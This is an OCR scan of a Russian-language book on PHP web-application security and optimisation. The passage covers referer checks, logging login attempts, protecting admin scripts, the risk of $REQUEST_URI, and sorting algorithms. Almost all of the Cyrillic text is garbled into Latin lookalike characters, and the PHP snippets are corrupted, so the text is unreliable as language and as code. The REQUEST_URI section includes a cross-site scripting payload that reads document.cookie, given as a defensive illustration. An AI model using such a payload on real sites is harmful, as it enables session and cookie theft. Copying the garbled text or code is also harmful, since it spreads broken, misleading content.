W KOPpEeKTHUPOBKH MapaMeTpoB, HalpHMMEp, napaMmMeTpoB [epelaBaeMbiX MCTO-
JIOM POST.

3arpy3urte 3ToT (haits co cBOEro KECTKOTO NUcKa U nonpobyiite Tenepb nepesars
napamerp cepsepy. Tak Kak B IaHHOM CJIyyae cleHapUii 3aMycKaeTcsl He C cepre-
pa, TO nepemMeHHas HTTE_REFERER OYIeT colepXdTb YTO YIODHO, HO TOJIbKO He
anpec cepsepa 192.168.77.1. Takum obpasoM, B CLIEHAPUM MOXHO CcleNaTh clie-
OYIOLLYIO 3aUIUTY:
<7
if (isset($server))
if (lereg("~192\.168.8\.88"))
{

die("He crouT TAK B3NaMmeEaTe canr');

}

7>

Tenepb coXpaHWUTh CTPAHUILY HA JIOKAILHOM XECTKOM AUCKe OYIeT claoxkHee.

3.14. ConpoBoXxpaeHue XypHana

IMpu paspaborke Web-nipuiokeHuss HeobXoauMo Mo3aboTHTECS M O CO3AAHIH
XKypHana ocHOBHBIX H3MeHeHuit. [la, y Web-cepsepa ectb coBeTBeHHBIN XKYPHil,
B KOTOPOM COXpaHsSIeTCsl BCSl AaKTUBHOCTh MOJib3oBaTesei, HO Ha KPYMHBIX caiiTax
¢ Go/blUMM KONMWYECTBOM I[IOCETHTENeH pasobparbcsi B TaKOM XYPHAJIE OYEeHb
CIIOKHO, & HHOTIA MPOCTO HEBO3MOXHO.

EcTh u BTOpOit aprymeHT B MOJB3Yy COBCTBEHHOro XypHala — He KaXIBIA Xoc-
THHI MOXET TPEeNOCTABIATh AOCTYN K XypHanam Web-cepsepa. A, Hanpumep, Hu
pasy He BUIEN TAKOW BO3MOXHOCTH [UIs Mojb3oBareseil 6ecriiaTHOro XocTuHra.

B paszdease 5.3.3 Mbl Oyaem paccMaTpuBaTh, KaK MOXHO CAMOCTOSITENIbHO PeaTnio-
BaTh CHCTeMy ayTeHTH(HKAUMKU nmonb3osarenei. Haw cuenapuit 6yaer nposepsrs
BBE/IEHHBIE [MOJIB30BaTENIeM UMS W Mapojib, U €CcAW AaHHbIE YKazaHbl BEPHO, TO
MOTb30BATENI0 OyayT BBIAAHBI ONpelieleHHbIe NPaBa Ha BRIMOJHEHHE KaKUX-J1K60
neiersuis, JlonmycTHM, YTO Xakep Hamucan nporpaMmy nonbopa napoist wis Ba-
wero cueHapus u 3anycrun ee. C nomoliusio xypHata Web-cepsepa yBuaets ro-
nbITKy nombopa Oyner He Tak yXK M MPOCTO, 3aTO, €c/iM B Ballel 6a3e DaHHBIX
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Oynet otTHenbHasi TAONWLIA, PETHCTPUPYIOLIAA BCE YIAYHBIE M HEYIAYHBIE [MOMBITKH
BXOlld, TO Bes MHGOpMALMs O MONBLITKAX HEBEPHOro BXona OyleT Kak Ha JaloHM.

CucreMsl ay'reH‘mquauuu O4YeHb YaCTO CTAHOBATCS OOBEKTOM HanageHust co
CTOPOHBI XaKepoB, MO3TOMY XyPHaI [OMOXET BaM W B BhlssieHun owmnbok. Ecin
B MporpaMMe npHucyTcTByeT ommbka, u xakep sanycerun araky SQL Injection, na-
MpUMep, YKa3aB B KayecTse napofis 3arpoc, To 3TOT Napoib COXPAHUTCS B BalLEM
XypHane. Ilpn aHannse NMpou3OLLIENILIEro B3JIOMA Bbl CPasy Xe YBHIWTE, KakKoil
CUMBOJI B [1apoJjie HEOOXOAHMMO 3aNpPeTHTh, YTOOHI He JONYCcTHTh rnonobHoro B Gy-
nyuiem. Be3 cobBeTBeHHOro XypHana Takoil aHAIM3 3a4acTylo NMPOBECTH HEBO3-
MOXHO.

A Hazmelockh, 4TO cMOT yOennTh Bac B CO3NAHMK CODCTBEHHOIO XYpPHAIA perucTpa-
UMK OCHOBHBIX AEWHCTBHI NOML30BaTEeNsA. A MTO HYXKHO OTHECTH K OCHOBHOMY,
a yto Her? TpyaHo cka3ate, HO A OBl MOPEKOMEHIIOBANI PErHCTPHPOBATD:

0O cobbiTg ayreHTHhHKALWK — BpeMs 3anpoca noJib3oBareis, pe3yabTaT Mnpo-
BepKH, yKaszaHHble uMsi M mapoib, [P-aapec nomb3oparens, B nanHom ciyvae
Maposib J0JDKEH COXpaHsAThed B Dase NAHHBIX TOMLKO B TOM Cjy4ae, Koria ay-
TeHTU(DUKALMSA Tpoluia HeyaauHo. [leiicTBUTENbHBIC TAPOIN COXPAHSTH HeMb3sl,

O usmeHeHnue mapamerpoB ayreHTudukauuu — spems, [P-anpec kinenra, cra-
PhIil 1 HOBBIM NMapoJib;

O u3MeHEHHE OCHOBHBIX TMapamMerpos cucTembl. Hampumep, na dopyme 3to na-
paMeTtpsl ¢opyMa, co3naHue HOBBIX PasAeiioB U T. I.;

0 u3meHeHMe napamerpos rnojbsosarens. B GomsimmHeTee Web-rporpamMm, B Ko-
TOPBIX €CTh ABTOPU3alLMs MoJib3oBarteliei, ecTs U MPoHib MOJIL3OBATENSI, [Ie
KaX/blii MOCETUTENb cailTa MOXET HACTPOUTHL CBOM CODBCTBEHHBIE MapaMeTphl
U npeanovrenuss Ha caiite. Ha ¢opymax B npodune nons3oparend yaiie
BCEIro MOTYT M3MEHSITb MKOHKY, KOTopasi OyIeT NOsBIAThCS Hal CoobLUeHMsI-
MM, TTOAMMCH U T. I.

B3nombl GbiBalOT BCErna, U OT TOr0 HUKyHa He aeTbes. Jleno B TOM, 4TO clieHA-
PHHM ITHLUIYT JIIOAKU, & UM CBOWCTBEHHO olunbaThes, U eciid olUOKY HalIeT xakep,
To cepsep Oyaer B OoNMacHoOCTH, MOKa o0 3TOM He Y3HAKT [POrpaMMMCTLI U He
vcrnpasar ownoky, KypHan nmoMmoxer BaM OBICTPO BbIABUTH HEIITATHBIE CUTYa-
UMY U TMKBUAXPOBATH MX. Byner Xxopoluo, eciid )XypHal OKaxeTcss MakCHMallbHO
ynooueiM. Hanpumep, x)ypHans! Apache oueHb MOILHBI, HO JaJeKH OT Haeaia
W HEe O4YeHb MOAXONAT JUTS PeLieHns 3a1ay, BCTAIOUINX Mepe NporpaMMHUCTaAMU.

3.15. 3awmra ot HenpaBoMepHbIX U3MEHEeHUN

Kak 3aiuTuThCsl OT HernpaBoMepHOro WaMeHeHUs WHGQOPMALMH O MOJIL30BaTENe
B 6asze naHHBIX? EcTh HECKOJIBKO BAPMAHTOB PElLUeHMs 3TOM NpobieMbl:

0O addexTuBHOE pelieHHE JIEKHT HA MOBEPXHOCTH — IPH NOMNBITKE W3MEHHUTH
vHbOpPMALIHIO, Kacalollylocs MONbL30BaTeNsl, HeoDXOAUMO MpOBepsTh, 4 ecThb

7 3ax. 1315
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JIM ceityac 3TOT mosb3oBarenb Ha caitte? Ecnn nmonbsoBarens He BXOMLWJ Ha
CaiT B TeYEHHE Yaca, TO OH HE MOI BbLINOJHATbL HHKAKHX M3MEHEHHH cBOero
npodus;

0 MOXHO cO3[aTh OTHEIbHOEe TMoJie Ul XpaHeHWs! KOHTPOJLHOW CYMMBl Beex
nojeit. Ecnu Xakep He Oyner sHaTh anroputMa Wi BooOllle He Y3HaeT O Cy-
LIECTBOBAHWH JIONOJIHHTENLHOTO MOJsl, TO, U3MEHUB JAaHHbIE, OH HE CMOXET
U3MEHHTE KOHTPOJIBHYIO CyMMY.

A eciW 3TH METOAbl 3AllMThI peaTH30BaTL OAHOBPEMEHHO, TO TAKYIO 3allHTy
oboiiTn Gyier eule TpyiHee. BoIMOTHUTE HECKOMBKO YCIOBHt ONHOBPEMEHHO HA-
MHOTO CIIOXHEE.

3.17. NaxHenb agMUHNUCTpaTopa

Ecnu BBl co3maere caiiT ¢ MOMOIIBIO KaKOTO-MMGO sI3bIKA MPOrpaMMHPOBAHUS, TO
HeJMUIHUM OyaeT cuenars obHoBneHue caiita yepes Web-unrepdeiic. s atoro
yalle BCero MUILIYTCs CLEHApUH aIMUHHUCTPATOPOB/MOAEPATOPOB, B KOTOPBIX OI1-
pejleNieHHbIe MOAb30BaTeNIM MOTYT MOMONHATEL caT wHdopmauuei. Takue cuena-
puu TpeOyioT OTHENbHON 3alMTHL, W ceifyac Mbl paccMOTpUM Haubonee TUNHY-
Hble OmHUOKH NPOrpaMMUCTOB.

Ileppas ommbkKa: Hexb3sl KOA AIMUHHCTPUPOBAHUA pasbpacbiBaTh HA cepBepe Mo
pasHbIM Katajnoram. B atoMm ciiyuyae oueHb cloXHO OYIeT KOHTPOIHMPOBATh CaiT U
ero GezonacHocTb. Bech ko1 anMUHUCTPUPOBAHUS JO/KEH ObiTh cobpaH B clie-
HapusX OJHOro W TONLKO OJHOIO Karajora Ha cepsepe. [laxe aBa karaiora [o-
HU3AT Be3onacHoCTh U 0caabiaT KOHTPOIIE.

Huxkorna He ngenaiite cChUIKH HA CUEHAPUM AAMUHMCTPUPOBAHUS HA 0bLenoc-
TYMHBIX cTpaHnuax. KenarensHo, 4Tobsl BoobLIEe CCHITOK HEe BbUIO, W Xakep He
3HaJ, rae HaxonATcs CUEHapHH, KaKHE ¥ HUX UMEeHA M KaKHE IMapaMeTpbl. Yem
MEHBbLLE 3HAET XaKep, TeM Jy4lle.

Ecnu Bbl BBIMOJNHUTE 3TH JIBA YCJIOBUSI, TO BaM Tpollle GyneT neiicTBoBaTh B CIIy-
yae Banoma. B3momel ObIBAIOT Beerga, MOTOMY 4TO BCE MbI OLUMGaeMCsl, TONBKO He
Bce ownbGku ObIBalOT KpuTHUHBIMU. Hatua 3agavya — 3apaHee npejycMOTPETh Bee
BO3MOXHOE, YTOOBI JeiicTBUS Xakepa NpuHecHH MHHHMAILHBIN yiepd.

Ecnn xakep kakuM-i1ubo obpazom MONYUMT Napoiih aiMHHKCTPAaTOpa WK Moje-
paropa, TO Bbl IOCTATOYHO OLICTPO CMOXETE OrPAHUYHTBL Ero NEHCTBUS IPOCTHIM
rnepeMMeHOBAHHEM Kartajora co cleHapusiMU aaMHHucTpatopa. B aToM ciyuae
XaKep He CMOXET HMYEro cuenarh, €c/u He Oyjier 3HATh, TAE HAXOMSITCS HYXHbIE
eMy aitnbl.

Pa3 y> MBI 3aTPOHY/IM TeMy AeliCTBMI aAMMHUCTPATOPA BO BpeMsl B3JIOMd, XOYeT-
csl 1aTh COBET HA OCHOBE JIMYHOTO onbiTa. PaHbiue si paGoran ¢ GecrurarHeIMU
dopymamn phpBB u IPB (Invision Power Board). Oyenb xopouine hopymsi.
Sl HMUYTh He Xouy OCcKOpOMTH MW OGMAEeTh MX ABTOPOB, HO 3TH (OPYMBI AOCTA-
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TOYHO MOMYNSIPHBI, U MO3TOMY XaKephl PEryjsipHO HaxoMWJKM B HUX PasiHyHbIe
ownbku. Korma owmbka okasbiBaercss KpUTHUHOM, Bece Noib3oBaTe/ Il Takux do-
PYMOB CTaHOBSITCS YSI3BUMBIMHU.

Ecnu Baw ¢opyM B3JIOMATH M BBl 3aMETHIM HENpaBOMEpHbIE IEHCTBMS, TO He-
Me/neHHo nepermeHyiiTe opyM. ITycTb OH OKaXeTcsi Ha Kakoe-To BpeMst Heaoc-
TYIMHBIM, HO 3aTO OCTAHETCSl UeNbIM. Tenepb o6HOBHUTE cLeHapuu, YTobbl Mcnpa-
BUTb OWMOKM, M HM3MEHWTE Mapoiad aIMMHUCTPATOPOB. TOMLKO MOCHE 3TOro
MOXHO BOCCTAHOBUTL MMs Katajora ¢ (opymMom, 4Tobbl M0JIL30BATENH MOMJIH
¢ HUM paboTars.

Takum xe obpaszoM HeoOXODMMO AEWCTBOBaTh ¢ JOOBIMK haitiaMH cueHapHes,
KOTOpBIE OKa3anuch NpuyMHOi B3noma. Yaule Bcero 3to GbiBalOT HMEHHO cLEHa-
pPUHM M3 MaHejlu AIMUHMCTPUPOBAHMS, MOTOMY YTO 3[eCh HAXOOUTCS HOCTATOYHO
onacHbIi Uil cepsepa kon. Maiin, cTaBIMit NMPUYMHON B3nOMa, JOKEH OBITH
nepeMMeHOoBaH MM AaXe ylajeH ¢ cepBepa (eciM y Bac ecTh pe3epBHAsI KOIMMUsI
Ha [IpyroM KOMTbloTEpe). 3aTeM NPOMCXOAWT HchpasieHue olubKW M BoccTa-
HoBeHue chaiina.

3.18. OnacHbit REQUEST_URI

B pazdene 2.12.1 Mbl paccMaTpUBAIH NepeMeHHBIE OKPYXeHH:A, U cpeant HUX Obi-
Jla ofiHa O4YeHb ymobHas repeMeHHasi SREQUEST_URI. He nmosepsiiite atomy napa-
MeTpY, MOTOMY 4TO XaKep MOXeT JIETKO MOBMUAThL Ha Hero. JonycTuM, y Bac ecThb
cienyiouuit Ko hopmai:
<?
print("<form action=\"http://".$SERVER_NAME.SREQUEST_URI\"
method=\"post\">") ;

// Spech HAXOOATCA BJIEMEHTH YIpPaBIeHUA

print ("<input type=\"submit\" wvalue=\"Submit\">");
print("</form>");
?>

B nanniom cayuyae cdopma nepenaer BBeleHHble NaHHBIE CLEHAPUIO, allpec KOTo-
poro (hopMHpPYeTCsl U3 NepeMeHHbIX $SERVER_NAME M $REQUEST_URI. Eciu obne-
JUHHUTB COAEPXKMMOE ATHX [BYX MepeMeHHBbIX, To noayuutcst noiHeiit URL k Te-
KylLIeMy CLIEHApHIO, T. €. CLeHapuili HampaBUT NaHHbe cam cebe, HO NMpU 3TOM
URL 6yner onpenened nuHamuyecku. OueHb yaoGHoe pellueHue, HO OMAacHOeE.
Homyctum, uto xakep seeznet B crpoke URL cnemyouuit anpec:

http://yoursite/index.php?"><script>alert(document.cookie)</script>

B otser Ha 2710 6paysep oToOpa3zuT MonanbHOE OKHO, B KOTOPOM Oyner nokalaHo
conepxumoe aittos cookie. [la, xakep ysuaut csou cookie-cpaitnbl, Ho, 4TOGBI
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YKpacTb JaHHBIE APYroro roJjib3oBaTteis, AOCTATOYHO CHOe/iaTh TakK, 4yTOOBI XKeprea
LWEJIKHY/IA 11O HYXHOM CChUIKE, M MMOCTABUTH HeMHOro Apyroii JavaScript-koa.

ObsizaTenbHO NpoBepsiiiTe MepeMeHHYI0 $REQUEST_URI HA HEOOMYCTUMbBIE CUM-
BOJIBI, & UMEHHO, HEODXOAMMO BBIPE3ATH MOMBITKY 0OpalleHUsl K < WK >.

3.19. Pe3iome

Paspabareiass Web-npuioxenusi, Bbl AOJDKHBI TMOMHUTb, YTO MAaKCUMAIbHOM
fe30MnacHOCTH MOXKHO JIOOUTBLCS, TOJABKO €CllH paccMaTpuBaTh NpobieMy B KOM-
MIeKce M peliaTh 3aiayy COBMECTHO ¢ aAMHHHMCTpPATOPAMM M CHELHATUCTAMU [0
6esonacHocTH. Banomiumku — yHmBepcaibHble crneuuanuctel. Haubonee npo-
(heccHOHATBHBIE W3 HUX AHATU3UPYIOT YAAIEHHYIO CHCTEMY co Bcex cropoH: OC,
paboraiouine ciayx6el, cueHapuu U T. 1. [MonyyenHast wrdopmaiua cobupaerci
B €AMHOE 11e/I0€, W U3 MAIEHbKUX KPYMMHOK B3JIOMUIMK MOJYYAeT MOJHOLEHHBLIA
JIOCTYIT K YIaJ€HHO| CHCTEME.

Baima 3amaya — CKpbITh CHCTEMY OT B3OMIUMKA M JATh €My KaK MOXHO MEHbILS
BO3MOXHOCTEN [Ulsl aHAIN3a U POHMKHOBEHMsI HA Ball cepsep. Yem MeHblue oH
6yner 3Harh, TEM Jydille, a IS 3TOro HEoOXOOMMO HYETKOE pasjieleHue Mpas.
IpenocrapisiiTe mporpaMmaM M IMOJIB30BATENAM TOJBKO T€ BO3MOXHOCTH, KOTO-
pble UM HYXHBI, 1 HUYETO JIMILIHErO.

Ecav cuenapuii mosyyaet JaHHBIE OT MOJb30BATENs, TO OHM JOJKHBI TLIATENbHO
MPOBEPSITLCS, YTODOBI XAKEP HE CMOT TepeaaTh 3aBelOMO JIOKHYI0 HH(hOPMALHUIO 1
rapamMeTpbl, KOTOpbe MOTYT CIIPOBOLIMPOBATh CLEHAPUA MJIM BBITOJIHUTh HA CEp-
BEepe HemomycTumyto onepauuio. HesaxHo, KaknuM MMEHHO crmocoBoM ObUIH TO-
JyqeHbl naHHble (cpaitn cookie, mapamerpsl GET MM POST, (aiin Ha cepsepe), —
Bce OHM ys3puMbl. [la, naxe daiin Ha cepBepe Moxer ObITh ysi3BuMbIM. Ecin xa-
Kep MOJYYHT K HEeMy JOCTYI, OH CMOXET, U3MEHsIsl TTapaMeTpbl, HOOUTHCS HeoO-
XOAMMOrO pe3yabTara.

Tectupyiite, Tectupyiite u Tectupyiire. [Mocne kaxnoro usMeHeHWs CLUEHApWA
HeoOXomuMo TiuarensHoe TectupoBaHue. CIBMHYB OOMH KYOMK B CTOPOHY, BB
MoxeTe "mobuThes" TOro, 4TO BCs KPENocTh CIOXUTCA, KAK KAPTOUYHBIH JOMHUK.

BHecs M3MeHEHUS B OJHY CTPOYKY MOAy/Ssl, HEOOXOAMMO MPOBECTH TLIATENBHOS
TECTHPOBAHUE BeeX (DYHKUMWA CLEHApHsi, KOTOpbIE WCMONL3YIOT 3TOT MOIYIbL M
OGHOBJIEHHYIO BO3MOXHOCTL. X0uy moauyepkHyrts ciopa "Bcex dynkuuit". Ecinu
B OIHOM MECTE€ MpOrpaMMbl HOBOBBeAeHWE OTpabOTaeT KOPPEKTHO M mpobiem
He BO3HMKHET, TO B IPYrOM MeCTe MpOrpaMMBbl Ta XK€ CTPOKA MOXET OKAasaThecH
npobaeMHoii.
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OnTumusayums

Bonpoc ontumusauuu crnoxeH, Ho oueHb BaxeH. A Bcerma rosopwi: "Ecnu Bel
HAnWcaiKu TporpaMMmy, To Bel nporpammuct. Ho ecau nporpamma syuine apyrux,
TO Bbl Xakep". OnTUMMU3aLKA — OAMH U3 clocoboB caenaTh NnporpaMmmy MakcH-
MajibHO OblcTpoit, adbekTuBHON M Bblaensioleiics Ha ¢doHe octanbHbIX. Ecim
Balll MPOCTEHLINil cueHapuii BeIMosHseTca Ha MolHoM cepBepe 10 u Hosee ce-
KYHI, TO 3TO CBMIIETEJILCTBYET TOJNBKO O MJIOXOM CTHJE NPorpaMMupOBaHMA.

[MpuarHo, Korna cnabsiit cepBep MOXeT GbICTpo 0OpabaTEIBATL CIOXHbBIE 3a7a4u
OOJIBILIOT0 KOJMYECTBA KIMEHTOB, W abCOMIOTHO HEAOMYCTUMO, KOLAA MOLLHBINI
CEpBEp 3dBMCACT MPH PELIEHHH MPOCTHIX 3a1ay. B Takue MOMEHTHI BCTIOMUHAIOT-
csa speMena 70—90-x ronoB NpoOLIOro BeKa, KOrua MmaMaTyé Y KOMIbioTepa Obi1o
Majo, @ MOIIHOCTh Mpoleccopa MaMepsinach B Merarepuax. B Te BpeMeHa npo-
rpaMMHMCTBI OWINCE 334 KaKIblil GaiiT nMaMsiTi U SKOHOMMJIM KaXIbl TAKT I1po-
LIECCOPHOIO BPEMEHH.

Korna s nepsbiit pasz samyctun urpy Doom, To 6Bl olieioMIeH €e BO3MOXHO-
CTAMUA W cKopocThio pabotei. [To TeM BpeMeHam 310 GBUIO YTO-TO BlEYATIAIOLIEE
1 yMoIoMpaduTenbHoe. Yepes HeCKOIbKO JIeT 51 CHOBA MOPAa3uics, KOTa YBUIET
TPEXMEPHYIO UTPY, KOTOpasl CWIbHO YCTymaja Mo KayecTBy rpadMku CBOMM KOH-
KypeHTaM M mnpH 3ToM paborana HamHoro MemneHHee. Kak e mMoxHo Obuio Ha-
MUCcaTh TAKOMH YXKAcHBIH Kon?

[MpasunbHO HAMMCAHHBIA W ONTHMH3UPOBAHHBIN KO MOXET CIKOHOMHTL Bam
JIEHBI'H Ha TOKYTIKY W oOHOBIeHMEe oOopyaoBaHMs. A B HEKOTOPHIX CIy4yasix oll-
THMU3ALMs MOXET IMOBBICHTh HAIEXKHOCTh MPOrpaMMbl, XOTA U He BCera.

Aspik PHP nHTepnpeTHpyeMelil, 4 TYT OYEHb CIOXHO NaBaTh KakK|ie-TO peKOMEH-
Hauuy, noroMy uro ©olbliie BCEro Ha CKOPOCTb BBIMOMHEHHMS BAHSET UMEHHO
HHTepnperarop. B KoMnuaupyembix sI3bIKax NporpaMMHpoOBaHus, Korga sce 3a-
BUCHT OT MAIIMHHOIO KOHA, MBI MOXEM MITH Ha KaAKMe-TO XMTPOCTH, WUCHOIB30-
BaTh accem0ep Juisl co3naHust Gonee OBICTPBIX ATOPUTMOB.
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4.1. Anroputm

MOXHO CKOJIBKO YrogHo OWTBCS Haji MOBLILIEHUEM MPOM3BOANTENLHOCTH NMPO-
rpaMMbl M AOCTMYL JIMLIL MHHMMAIBHON BBIFOLI, €CAH ANTOPUTM [POrPaMMbl
U3HA4YATbHO He criocobeH paborarsk GbicTpee. Ho ecin M3MEHHTH IrOpUTM, Mpo-
M3BOANTEIbHOCTh MOXET BBIPACTH B HECKOJIBKO pas.

PaccmorpuM npumep. JonycTUM, YTO BaM HY)KHO OTCOPTHPOBAThH CIMCOK HA3BA-
HUH ropoioB (HasoseM ero Listl). Jlnsi 3Toro MOXHO NeHCTBOBATH 10 CAEAYIO-
IIEMY AITOPUTMY:

1. Co3pare HOBBI CHHUCOK List2, KOTOPbIH OyneT XpaHWThb OTCOPTUPOBAHHEIE
HAHHBIE.

B3saTh nepBoiit 37EMEHT CMUCKA Listl ¥ [TOMECTUTh €ro B MEPeMEHHYIO X.
3. CpaBHUTb NMEPEMEHHYIO X C OMEpPEeHbIM 2JIEMEHTOM CIMCKA List2.

4. Ecnu X OKakeTcsl MEHbllle, TO BCTABUTb €ro B CMMCOK List2 fepel cpaBHH-
BaeMoil crpokoit. Ecniu Her, To mepeiitM K CpaBHEHUIO CO CIEAVIOUIUM 38~
MEHTOM CIIMCKA List2.

5. BeirmonusTh warn 3 u 4, noka x He Haiinetr csoe mecto. Ecam cnmcok List2
3aKOHUYMJICS, TO 3HAUMT, X OOJbllIe BCEX DJEMEHTOB M €ro HYXHO BCTABUTh
B KOHEL CruckKa.

6. B3ate crenyioiuid aneMEHT CMMCKA Listl, MOMECTHTh €ro B NMEpeMeHHYIO X
M nepeiTH K wary 3.

JUta peanu3alMy 3TOro alropuT™Ma Hy;XKHO jBa LUMKIA, NPHYEM, OOWH M3 HHX
BIOXeHHbIH. [TepBbiil 1K nepebupaer CrucoK Listl, W VIS KAXIOro 3JeMEHTA
BBITIOJIHAETCS LMK/, B KOTOPOM MPOBEPSIOTCA BCE MEMEHTHI crucKa List2. [To-
MHMMO 3TOr0, Ha KaXIOM luare LMKIa MPOMCXOAWT cpaBHeHWe. Eciu cocuurTarh
KONMYECTBO MPOM3BEICHHBIX OMepaLuii, TO MOJYyYUTCS OYeHb OONBIIOE YHCIIO.
K Tomy xe, cam alropuT™M MpOCT TOJNBKO HA MepBblii B3rsaa. Ha camom nene, wist
€ro peajn3alidi HYXHO JOCTATOMHO CHJIBHO MOCTAPATHCA M TIPU 3TOM He Olliu-
6uTBCS, A 3[eCh JOCTATOYHO MECT, IJI€ MOXHO JOMYCTUTH OLINOKY.

MoXHO Kak-TO MOMBITATHCS YBEIHYNTH CKOPOCTh OMepaltdii cpaBHEHHs, HO TYT
Yy Hac CIMUIKOM orpaHuuyeHsl Bo3MoxHocTH. Ecnm y camoro mpotieccopa €ctb
HECKOJIBKO crocoBGoB cpaBHUTL ABa yuciaa, To y PHP 1x MoXHO mepecuuTars 1o
NaiblaM ONHON PYKH.

A Tenepb MpPeNcTaBUM, YTO 3TOT AITOPUTM AOJIKeH OTCOPTHPOBATH CIENYIOULYIO
nocnenoBareasHocTs yncen: 1, 2, 3, 4, 5, 6, 8, 7, 9. B 310ii nocienosaTebHOCTH
JIOCTATOYHO MOMEHATh TOJbLKO uucna 8 u 7 MecramMu, HO Halll aJITOPUTM 3TOTO HE
3HAET, MO3TOMY OYIET BHITTONIHATLCS! OYeHb JOJIr0. A eclii MacCHB YK€ OTCOpPTH-
posan? Tsokenas pabora MHTEpHpeTaTOpa U TMPOLECCOPA OKAXYTCH HAMPACHBIMH.
3ameHa anropWTMa Ha 4ro-TO GOJlee coBepllieHHOE MO3BOIUT YCKOPHTh pabioTy
B HECKOJIBKO pa3.
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B nanHoM ciyuae He coBceM KOPPEKTHO BbIOpaH npumep, MOTOMY 4YTO UISl COp-
THPOBKH CYILIECTBYET BE/IMKOE MHOXECTBO PA3HbLIX BAPHAHTOB AJTOPUTMOB, U Ka-
KAbIA W3 HUX NPU OnpeleseHHbIX yCAoBUsIX Moxer paGorath GbicTpee Apyrux.
Ho MBI paccMOoTpuM OOMH M3 BapMaHTOB, KOTOPbIi MOXET pealbHO MOBLICHTh
CKOpOCTh paboThl:

1. IlomelliaeM repBblit 3/1EMEHT B MEPEMEHHYIO X.

2. Ycranasnusaem (ar cocTosiHUsl B 3HaYeHNe false.
3. Cnenyiouiuit KOMITOHEHT TTOMEIIAEM B MEPEMEHHYIO Y.
4

. CpasHuBaeM nepemeHHbie. Eciu X>Y, TO MEHSIEM MX B CITUCKE MECTAMM M yC-
TaHapIuBaeM (ar COCTOSHHMS B 3HaYeHHe true. MHaue 3anuchiBaeM B X 3Ha-
YeHHe Y.

Ln

Ecnu mpocMoTp He 3aKOHYEH, TO MepeiTH K wiary 2.

6. Ecnu npocMOTp 3aKOHYEH, TO TMPOBEPHTH TepeMeHHYl0 cocTosinus. Ecnu oHa
paBHa true, TO BO BpeMsl MPOBEPKH 3JIEMEHTHI MEHSUTMCh MECTAMM, ¥ HYXHO
MOBTOPHUTH MPoOroH cHayana. Ecnu cocrosinue paBHO false, TO MOBTOP He HY-
X€H, BCe 3JIEMEHTBI OTCOPTHPOBAHBbI.

BoaBpailiaemesi K npuMepy TOCHEA0BATENbHOCTH, B KOTOPO HYXHO TOJLKO TMO-
MEeHSITb MecTaMHi aBa anemeHTa. [IpM HOBOM anroputme HYXHO OyAeT TOABKO
lIBa pasa MpocMoTpeTh Bech cnucok. Ha neppom wware uudpet 7 u § nomeHsores
MECTaMM, a Iocje BTOPOro MpocMOTpa CrMcKa nmporpaMma yBUIWUT, 4YTO M3MeHe-
HUI He ObUIO, & 3HAYMUT, CITHCOK OTCOPTUPOBAH.

DTOT AITOPUTM HYXKIAETCs TOJBKO B OMHOM LIMKJIE, KOTOPBIif GYAET BBITOMHATHCS
HAMHOTO MeHble pa3, eciu aaHHbie Gonee-mexee ynopsipovyeHsl. Ho naxe npu
MaKCHMATBHOM MepeMeIMBAHHM CKOPOCTh PaBoThl 3TOr0 AIrOPUTMA BBIILIE, YeM
Y PACCMOTPEHHOTO MEPBbIM.

Kak BUAMTE, OYEHb BAXHO NMPAaBWILHO BLIGPaTh anroput™. Eciu okaxercs, yTo
Ball cUeHapuii paboTaeT CAMIIKOM MELIEHHO, i PEKOMEHIYI0 YHHUTOXUTh €10 U
HayaTh nucarh ¢ yucroro aucra. Kak s yxe ckasanr, 8 PHP 310 oueHb BaxHo,
MIOTOMY 4TO HET BO3MOXHOCTH 0OOpalaThcsl K TpOLEccopy HampsIMYIo M HCIOJb-
30BaTh €ro MPeHMYIIECTRA.

Pazpa6orunkun PHP cosmasanu MHTEpnperaTop MakCHMAaJbHO YHUBEPCAIbHbLIM,
MO3TOMY M CAMHM HE OY€Hb YacTO ONTUMHU3UPOBAIM KO MOJI KOHKPETHYIO apXu-
TEKTYpY. A Belb €cCIu 3HaTh, 4YTO TNporpamma To4yHo Oyner paGorare Ha
Pentium 4, To MoxHO ObUIO Obl MCMONB30BATE HOBbIE BO3MOXHOCTH 3TOIM apxu-
TeKTypbl, TexHojoruio Hyper Threading u HOBble WHCTPYKLIUMHM MpoLieccopa, uTo
3HAYMTENHHO MOBBICHT CKOPOCTE PaboThi MPOrpaMMbl AAXe MPU MEeUIEHHBIX a-
TOpUTMaX.

BonbmmHeTBO nporpaMm TaK WM WHAYE WCHONbB3YET MATEMaTHYECKHE aJIrOpuT-
MBI, MO3TOMY IS HanucaHusi 3(P@EKTUBHLIX MPOrpaMM Bbl JOKHBI XOPOLIO
pa3buparbcs B Maremaruke. Hanpumep, MaTeMaTHYECKHE AITOPUTMBI MPHMEHS-
I0TCSl IPH COPTUPOBKE,
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4.2. Cnabble mecTa

Korna MHe NpHXOAWTCS NMHCATh MPO ONTUMM3ALMIO, S Beerga aenalo Goabluoi
yrop Ha noHsATHe ciaboro mecra. Ytobbl nydine ysACHUTb, O YEM WJIET Pedb, Jid-
BaiiTe PACCMOTPHM WHTEPECHBIH MPUMEP ¢ HAPALIMBAHWEM TPOM3BOAMTENBHOCTH
KOMIIBIOTEPA.

TMpenronoXxuM, YTo y Bac ecTh cepBep Ha Gase camoro MOILHOro npoueccopa
Pentium 4 n uHrepHer-kaHan 256 Kéur/c. JlonycTtum, 4To 3TOT CepBep He ycrie-
BaeT obpabaThiBaTh 3anpochl KAMEHTOB, M AIMWHMCTPATOP BBIHYXKIEH Hapalliu-
Bath ero moiuHocts. Yro nenars? Hanpauimsaercs BapHaHT BHEAPEHHS ABYXITPO-
LIECCOPHOIt CHCTEMBI, HO 3TO Heobs3aTeNbHO peluuT npobiemy. BosMmoxHo, yTo
Y3KHM MecToM siBjisieTcsi KaHain cssisu. [lpoiteccop ycrnesaer obpabarhiBath Bee
3anpockl MMOJb30BaTeNel, 1a ellle U MPOCTAMBAET, MOKA KaHa NepekauuBaeT 06-
paboraHHble naHHbie. [lomydaercs, 4To 3arparhl OBUIH JIMUIHUMM, M CKOPOCTh
0bpaboTKu He MOBBICHIACE.

[pu HanucaHWKU MPOTPaMM M CIEHAPMEB HYXHO TAKXKe HCKaTh camble ciabbie
MecTa ¥ HaYMHATh ONTHUMM3ALKIO ¢ HUX. Ecnu 661 MBI FOBOPUIIM O KOMIWIHpPYE-
MOM f3bIKE, TO i cMOr Obl Ha3BaTh NECATOK AEMCTBUTENBHO Y3KMX MecT. Bos-
moxHoctd PHP HamHoOro Huke, no3toMy He Beceria yaaercd yBeJUUHTh NMPOM3-
